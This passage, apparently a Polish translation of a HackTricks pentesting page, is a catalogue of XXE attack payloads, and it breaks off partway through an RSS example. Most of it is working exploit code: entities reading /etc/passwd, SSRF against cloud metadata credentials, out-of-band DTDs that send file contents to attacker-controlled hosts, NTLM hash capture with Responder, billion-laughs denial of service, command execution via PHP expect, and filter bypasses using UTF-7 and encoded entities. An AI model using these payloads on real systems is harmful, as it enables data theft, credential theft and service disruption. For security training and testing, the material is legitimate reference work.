XXE - XEE - XML External Entity

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawy XML

XML to język znaczników zaprojektowany do przechowywania i transportu danych, cechujący się elastyczną strukturą, która umożliwia użycie opisowo nazwanych tagów. Różni się od HTML-a tym, że nie jest ograniczony do zestawu predefiniowanych tagów. Znaczenie XML-a zmalało wraz z wzrostem popularności JSON-a, pomimo początkowej roli w technologii AJAX.

  • Reprezentacja danych za pomocą Encji: Encje w XML umożliwiają reprezentację danych, w tym znaków specjalnych takich jak &lt; i &gt;, które odpowiadają < i >, aby uniknąć konfliktu z systemem tagów XML-a.

  • Definiowanie Elementów XML: XML pozwala na definiowanie typów elementów, określając, jak powinny być zbudowane elementy i jaką zawartość mogą zawierać, począwszy od dowolnego rodzaju zawartości po konkretne elementy podrzędne.

  • Definicja Typu Dokumentu (DTD): DTD jest istotne w XML-u do określania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją obu, kierując formatowaniem i walidacją dokumentów.

  • Encje Niestandardowe i Zewnętrzne: XML obsługuje tworzenie niestandardowych encji w DTD do elastycznej reprezentacji danych. Zewnętrzne encje, zdefiniowane za pomocą adresu URL, budzą obawy dotyczące bezpieczeństwa, zwłaszcza w kontekście ataków zewnętrznych encji XML (XXE), które wykorzystują sposób, w jaki analizatory XML-a obsługują zewnętrzne źródła danych: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>

  • Wykrywanie XXE za pomocą Encji Parametrowych: Dla wykrywania podatności XXE, zwłaszcza gdy konwencjonalne metody zawodzą ze względu na środki bezpieczeństwa analizatora, można wykorzystać encje parametrowe XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie odpytywań DNS lub żądań HTTP do kontrolowanej domeny, w celu potwierdzenia podatności.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Główne ataki

Większość tych ataków została przetestowana za pomocą niesamowitych laboratoriów XEE firmy Portswiggers: https://portswigger.net/web-security/xxe

Test Nowej Encji

W tym ataku sprawdzę, czy prosta deklaracja NOWEJ ENCYJ działa

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Odczyt pliku

Spróbujmy odczytać /etc/passwd w różny sposób. Dla systemu Windows możesz spróbować odczytać: C:\windows\system32\drivers\etc\hosts

W tym pierwszym przypadku zauważ, że SYSTEM "**file:///**etc/passwd" również zadziała.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

To drugi przypadek powinien być przydatny do wydobycia pliku, jeśli serwer internetowy używa PHP (Nie dotyczy to laboratoriów Portswiggers)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

W tym trzecim przypadku zauważamy, że deklarujemy Element stockCheck jako ANY.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Lista katalogów

W aplikacjach opartych na Java może być możliwe wyświetlenie zawartości katalogu za pomocą XXE z ładunkiem takim jak (tylko pytanie o katalog zamiast pliku):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXE może być wykorzystane do nadużycia SSRF w chmurze

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Ślepy SSRF

Korzystając z wcześniej skomentowanej techniki możesz sprawić, że serwer uzyska dostęp do serwera, który kontrolujesz, aby pokazać swoją podatność. Jeśli jednak to nie działa, być może dlatego, że encje XML nie są dozwolone, w takim przypadku można spróbować użyć parametrów encji XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Ślepy" SSRF - Wyprowadzanie danych poza pasmem

W tym przypadku sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (dla plików wieloliniowych można spróbować wyprowadzić je za pomocą _ftp://_ korzystając na przykład z tego podstawowego serwera xxe-ftp-server.rb). Ta wyjaśnienie opiera się na laboratorium Portswiggera tutaj.

W podanym złośliwym DTD przeprowadzane są kroki mające na celu wyprowadzenie danych:

Przykład złośliwego DTD:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Kroki wykonane przez ten DTD obejmują:

  1. Definicja Encji Parametru:

    • Tworzona jest encja parametru XML o nazwie %file, czytająca zawartość pliku /etc/hostname.

    • Kolejna encja parametru XML, %eval, jest zdefiniowana. Dynamicznie deklaruje nową encję parametru XML, %exfiltrate. Encja %exfiltrate jest ustawiona do wysłania żądania HTTP do serwera atakującego, przekazując zawartość encji %file w ciągu zapytania URL.

  2. Wykonanie Encji:

    • Wykorzystywana jest encja %eval, prowadząc do wykonania dynamicznej deklaracji encji %exfiltrate.

    • Następnie używana jest encja %exfiltrate, wywołując żądanie HTTP do określonego URL z zawartością pliku.

Atakujący umieszcza ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL takim jak http://web-attacker.com/malicious.dtd.

Ładunek XXE: Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Ten payload definiuje parametrową jednostkę XML %xxe i włącza ją w DTD. Po przetworzeniu przez analizator XML ten payload pobiera zewnętrzne DTD z serwera atakującego. Następnie analizator interpretuje DTD w linii, wykonując kroki określone w złośliwym DTD i prowadząc do wycieku pliku /etc/hostname do serwera atakującego.

Błąd oparty na błędach (Zewnętrzne DTD)

W tym przypadku spowodujemy, że serwer załaduje złośliwe DTD, które pokaże zawartość pliku wewnątrz komunikatu o błędzie (to jest ważne tylko jeśli możesz zobaczyć komunikaty o błędach). Przykład stąd.

Komunikat o błędzie analizy XML, ujawniający zawartość pliku /etc/passwd, może zostać wywołany za pomocą złośliwej zewnętrznej definicji typu dokumentu (DTD). Osiąga się to poprzez następujące kroki:

  1. Zdefiniowana jest jednostka parametru XML o nazwie file, która zawiera zawartość pliku /etc/passwd.

  2. Zdefiniowana jest jednostka parametru XML o nazwie eval, która zawiera dynamiczne zadeklarowanie innej jednostki parametru XML o nazwie error. Ta jednostka error, gdy jest oceniana, próbuje załadować nieistniejący plik, włączając zawartość jednostki file jako swoją nazwę.

  3. Jednostka eval jest wywoływana, co prowadzi do dynamicznego zadeklarowania jednostki error.

  4. Wywołanie jednostki error skutkuje próbą załadowania nieistniejącego pliku, co powoduje komunikat o błędzie zawierający zawartość pliku /etc/passwd jako część nazwy pliku.

Złośliwe zewnętrzne DTD można wywołać za pomocą następującego XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Po wykonaniu odpowiedzi serwera WWW powinno zawierać komunikat o błędzie wyświetlający zawartość pliku /etc/passwd.

Proszę zauważyć, że zewnętrzny DTD pozwala na umieszczenie jednej jednostki wewnątrz drugiej (eval), ale jest to zabronione wewnętrznym DTD. Dlatego nie można wymusić błędu bez użycia zewnętrznego DTD (zazwyczaj).

Oparte na błędach (system DTD)

Co zatem z lukami w bezpieczeństwie XXE, gdy blokowane są interakcje out-of-band (zewnętrzne połączenia są niedostępne)?.

Luka w specyfikacji języka XML może odsłonić poufne dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne. Ten problem pozwala na wewnętrzną redefinicję jednostek zadeklarowanych zewnętrznie, ułatwiając wykonanie ataków XXE opartych na błędach. Takie ataki wykorzystują ponowne zdefiniowanie jednostki parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z wewnętrznego DTD. Gdy połączenia out-of-band są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, mając na celu wywołanie błędu analizy w celu ujawnienia poufnych informacji.

Rozważmy scenariusz, w którym system plików serwera zawiera plik DTD w lokalizacji /usr/local/app/schema.dtd, definiujący jednostkę o nazwie custom_entity. Atakujący może wywołać błąd analizy XML ujawniający zawartość pliku /etc/passwd, przesyłając hybrydowe DTD w następujący sposób:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Kroki zarysowane są przez ten DTD:

  • Definicja parametru XML o nazwie local_dtd obejmuje zewnętrzny plik DTD znajdujący się na systemie plików serwera.

  • Następuje ponowne zdefiniowanie parametru XML custom_entity, pierwotnie zdefiniowanego w zewnętrznym DTD, aby otoczyć exploit XXE oparty na błędach. To ponowne zdefiniowanie ma na celu wywołanie błędu analizy, ujawniając zawartość pliku /etc/passwd.

  • Poprzez użycie parametru local_dtd, zaangażowany jest zewnętrzny DTD, obejmując nowo zdefiniowany custom_entity. Ta sekwencja działań powoduje wyemitowanie komunikatu błędu, którego celem jest exploit.

Przykład z życia wzięty: Systemy korzystające z środowiska pulpitu GNOME często posiadają DTD w lokalizacji /usr/share/yelp/dtd/docbookx.dtd, zawierający jednostkę o nazwie ISOamso.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Ponieważ ta technika wykorzystuje wewnętrzny DTD, musisz najpierw znaleźć ważny. Możesz to zrobić, instalując ten sam system operacyjny / oprogramowanie, którego używa serwer, i szukając niektórych domyślnych DTD, lub pobierając listę domyślnych DTD w systemach i sprawdzając, czy którykolwiek z nich istnieje:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Dla uzyskania dodatkowych informacji sprawdź https://portswigger.net/web-security/xxe/blind

Znajdowanie DTD w systemie

W następującym niesamowitym repozytorium github możesz znaleźć ścieżki DTD, które mogą być obecne w systemie:

Co więcej, jeśli masz obraz Dockera systemu ofiary, możesz użyć narzędzia z tego samego repozytorium do skanowania obrazu i znalezienia ścieżki DTD obecnych w systemie. Przeczytaj Readme na github, aby dowiedzieć się jak.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE za pośrednictwem analizatorów Office Open XML

Dla bardziej szczegółowego wyjaśnienia tego ataku, sprawdź drugą sekcję tego niesamowitego posta od Detectify.

Możliwość przesyłania dokumentów pakietu Microsoft Office jest oferowana przez wiele aplikacji internetowych, które następnie przetwarzają pewne szczegóły z tych dokumentów. Na przykład aplikacja internetowa może pozwalać użytkownikom importować dane poprzez przesłanie arkusza kalkulacyjnego w formacie XLSX. Aby analizator mógł wydobyć dane z arkusza kalkulacyjnego, konieczne będzie przetworzenie co najmniej jednego pliku XML.

Aby przetestować tę podatność, konieczne jest utworzenie pliku pakietu Microsoft Office zawierającego ładunek XXE. Pierwszym krokiem jest utworzenie pustego katalogu, do którego można rozpakować dokument.

Po rozpakowaniu dokumentu, plik XML znajdujący się w ./unzipped/word/document.xml powinien zostać otwarty i edytowany w preferowanym edytorze tekstu (np. vim). XML należy zmodyfikować, aby zawierał pożądany ładunek XXE, często zaczynając od żądania HTTP.

Zmodyfikowane linie XML należy wstawić między dwoma głównymi obiektami XML. Ważne jest, aby zastąpić adres URL adresem monitorowalnym dla żądań.

Wreszcie, plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy uruchomić następujące polecenie:

Teraz utworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej, a można mieć nadzieję, że żądanie pojawi się w dziennikach Burp Collaborator.

Protokół Jar

Protokół jar jest dostępny wyłącznie w aplikacjach Java. Został zaprojektowany, aby umożliwić dostęp do plików w archiwum PKZIP (np. .zip, .jar, itp.), obsługując zarówno pliki lokalne, jak i zdalne.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

Aby móc uzyskać dostęp do plików wewnątrz plików PKZIP, jest bardzo przydatne do nadużywania XXE za pomocą plików DTD systemu. Sprawdź tę sekcję, aby dowiedzieć się, jak nadużywać pliki DTD systemu.

Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków:

  1. Wysyłane jest żądanie HTTP w celu pobrania archiwum zip z określonego miejsca, takiego jak https://download.website.com/archive.zip.

  2. Odpowiedź HTTP zawierająca archiwum jest tymczasowo przechowywana w systemie, zazwyczaj w lokalizacji takiej jak /tmp/....

  3. Archiwum jest następnie rozpakowywane, aby uzyskać dostęp do jego zawartości.

  4. Konkretny plik w archiwum, file.zip, jest odczytywany.

  5. Po operacji, wszelkie tymczasowe pliki utworzone podczas tego procesu są usuwane.

Interesującą techniką przerywania tego procesu na drugim kroku jest utrzymywanie otwartej nieskończenie połączenia serwera podczas obsługi pliku archiwum. Narzędzia dostępne w tym repozytorium mogą być wykorzystane w tym celu, w tym serwer Pythona (slow_http_server.py) i serwer Java (slowserver.jar).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

Zapisywanie plików w katalogu tymczasowym może pomóc eskalować inną podatność związaną z trawersowaniem ścieżki (taką jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja, itp).

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Atak miliardowego śmiechu

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Atak Yaml

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Atak kwadratowego rozprężenia

Pozyskiwanie NTML

Na hostach z systemem Windows można uzyskać skrót NTML użytkownika serwera sieciowego, ustawiając obsługę responder.py:

Responder.py -I eth0 -v

i wysyłając następujący żądanie

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Ukryte powierzchnie XXE

XInclude

Podczas integrowania danych klienta w dokumenty XML po stronie serwera, takie jak te w żądaniach SOAP po stronie serwera, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE ze względu na ograniczenia dotyczące modyfikowania elementu DOCTYPE. Jednak atak XInclude zapewnia rozwiązanie, pozwalając na wstawienie zewnętrznych jednostek w dowolny element danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy kontrolować można jedynie część danych w generowanym przez serwer dokumencie XML.

Aby przeprowadzić atak XInclude, przestrzeń nazw XInclude musi zostać zadeklarowana, a ścieżka pliku do zamierzonej zewnętrznej jednostki musi zostać określona. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Sprawdź https://portswigger.net/web-security/xxe po więcej informacji!

SVG - Przesyłanie plików

Pliki przesyłane przez użytkowników do określonych aplikacji, które są następnie przetwarzane na serwerze, mogą wykorzystać podatności w obsłudze plików XML lub plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML.

Kiedy użytkownicy przesyłają obrazy, te obrazy są przetwarzane lub sprawdzane po stronie serwera. Nawet dla aplikacji oczekujących formatów takich jak PNG lub JPEG, biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG. SVG, będąc formatem opartym na XML, może być wykorzystany przez atakujących do przesyłania złośliwych obrazów SVG, narażając w ten sposób serwer na podatności XXE (XML External Entity).

Poniżej pokazano przykład takiego ataku, w którym złośliwy obraz SVG próbuje odczytać pliki systemowe:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Inna metoda polega na próbie wykonania poleceń za pomocą nakładki PHP "expect":

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

W obu przypadkach format SVG jest wykorzystywany do uruchamiania ataków wykorzystujących zdolności przetwarzania XML oprogramowania serwera, podkreślając konieczność solidnej walidacji danych wejściowych i środków bezpieczeństwa.

Sprawdź https://portswigger.net/web-security/xxe po więcej informacji!

Zauważ, że pierwsza linia odczytanego pliku lub wyniku wykonania pojawi się W ŚRODKU utworzonego obrazu. Dlatego musisz mieć dostęp do obrazu utworzonego przez SVG.

PDF - Przesyłanie pliku

Przeczytaj poniższy post, aby dowiedzieć się, jak wykorzystać XXE przesyłając plik PDF:

Content-Type: Z x-www-urlencoded do XML

Jeśli żądanie POST akceptuje dane w formacie XML, można spróbować wykorzystać XXE w tym żądaniu. Na przykład, jeśli normalne żądanie zawiera:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

W takim razie możesz złożyć następujące żądanie, uzyskując ten sam wynik:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: Od JSON do XEE

Aby zmienić żądanie, możesz użyć rozszerzenia Burp o nazwie "Content Type Converter". Tutaj znajdziesz ten przykład:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Kolejny przykład można znaleźć tutaj.

WAF & Protections Bypasses

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

To działa tylko wtedy, gdy serwer XML akceptuje protokół data://.

UTF-7

Możesz użyć ["Przepisu kodowania" cyberchefa tutaj ](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) transformować na UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

Plik:/ Bypass protokołu

Jeśli strona internetowa używa PHP, zamiast używać file:/, możesz użyć opakowań PHP php://filter/convert.base64-encode/resource= do dostępu do wewnętrznych plików.

Jeśli strona internetowa używa Javy, możesz sprawdzić protokół jar.

Encje HTML

Sztuczka z https://github.com/Ambrotd/XXE-Notes Możesz stworzyć encję wewnątrz encji kodując ją za pomocą encji HTML, a następnie ją wywołać, aby załadować dtd. Zauważ, że używane encje HTML muszą być numeryczne (jak w tym przykładzie [w tym przykładzie](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

Przykład DTD:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

Wydobyć index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Wyodrębnij zewnętrzny zasób

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Wykonywanie zdalnego kodu

Jeśli moduł PHP "expect" jest załadowany

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Ten przykład jest inspirowany https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standaryzacji wymiany danych w procesach lokalizacyjnych. Jest to format oparty na XML głównie używany do przesyłania danych lokalizowalnych między narzędziami podczas lokalizacji oraz jako powszechny format wymiany dla narzędzi CAT (Computer-Aided Translation).

Analiza żądania bez odpowiedzi

Wysłano żądanie do serwera z następującą zawartością:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Jednakże to żądanie powoduje wewnętrzny błąd serwera, wskazując konkretnie problem z deklaracjami znaczników:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Mimo błędu, zarejestrowane jest trafienie w Burp Collaborator, wskazujące na pewien poziom interakcji z zewnętrzną jednostką.

Odbieranie Danych Poza Pasmem Aby wydobyć dane, wysyłany jest zmodyfikowany żądanie:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

To podejście ujawnia, że User Agent wskazuje na użycie Javy 1.8. Zauważoną ograniczeniem tej wersji Javy jest niemożność pobierania plików zawierających znak nowej linii, takich jak /etc/passwd, za pomocą techniki Out of Band.

Eksfiltracja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest zbudowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Serwer odpowiada błędem, co jest istotne, odzwierciedlając nieistniejący plik, wskazując, że serwer próbuje uzyskać dostęp do określonego pliku:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Aby uwzględnić zawartość pliku w komunikacie o błędzie, plik DTD jest dostosowany:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Ta modyfikacja prowadzi do udanego wydostania zawartości pliku, co jest odzwierciedlone w komunikacie błędu wysłanym za pomocą protokołu HTTP. Oznacza to udany atak XXE (XML External Entity), wykorzystujący techniki Out of Band i oparte na błędach do wydobycia wrażliwych informacji.

RSS - XEE

Poprawny XML w formacie RSS do wykorzystania podatności XXE.

Ping back

Proste żądanie HTTP do serwera atakującego

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Odczytaj plik

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
